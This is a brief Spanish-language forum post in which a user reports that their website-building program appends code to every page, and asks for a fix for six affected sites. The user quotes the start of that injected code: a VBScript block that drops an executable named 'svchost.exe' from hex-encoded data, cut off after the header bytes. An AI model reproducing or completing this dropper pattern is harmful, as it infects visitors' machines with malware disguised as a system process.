Despues de comprobar en mil sitios, preguntar y analizar mis web con distintos antivirus, he confirmado que el programa me crea un codigo al final de cada pagina, que es un virus. 

Ej: <SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000.........

He probado a crear una web simple con solo una pagina y tambien me crea el codigo del virus automaticamente.

Necesito por favor una solución ya que tengo 6 web creadas con el programa y todas con el mismo virus.